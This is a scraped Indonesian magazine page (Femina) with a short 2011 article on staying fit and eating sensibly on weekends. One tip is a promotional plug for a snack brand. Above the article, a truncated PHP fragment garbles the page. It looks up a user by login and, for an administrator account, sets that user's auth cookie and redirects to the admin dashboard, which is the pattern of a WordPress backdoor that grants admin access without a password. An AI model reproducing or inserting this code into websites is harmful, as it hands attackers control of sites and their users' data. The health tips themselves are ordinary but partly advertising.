Sehat di Akhir Pekan

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Health & Diet

1 Oct 2011

Setelah Senin-Jumat didera kesibukan bekerja, banyak orang yang punya kebiasaan santai habis-habisan atau makan sepuasnya di akhir pekan. Kebiasaan ini terkadang memunculkan keluhan baru, yakni gagalnya diet, dan badan menjadi tidak bugar karena terlalu banyak tidur. Upayakan agar akhir pekan tetap bugar dan menyenangkan. Ini caranya!

1. Tidak mengurangi aktivitas fisik di akhir pekan. Lakukan olahraga yang menyenangkan. Misalnya, bersepeda mengikuti car free day bersama pasangan, joging di Monas, dan sebagainya, yang sifatnya memadukan olahraga dan liburan.

2. Ketika jajan di luar, saat mencicipi jenis makanan baru sebaiknya tetap makan sesuai porsi seperti pada hari biasa (tidak berlebihan).

3. Jika berlibur ke luar kota, siapkan bekal makanan kaya serat. Sebab, tidak setiap kota tujuan mempunyai budaya menyajikan serat dalam menu makan sehari-harinya.

4. Jaga pola camilan dan snack. Pilih snack sehat seperti Jacobs yang dapat membantu mengembalikan energi dan stamina, karena memberi asupan gizi dan nutrisi. Jacobs juga mempunyai kemasan yang praktis, cocok sebagai bekal jalan-jalan Anda dan keluarga. (f)

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id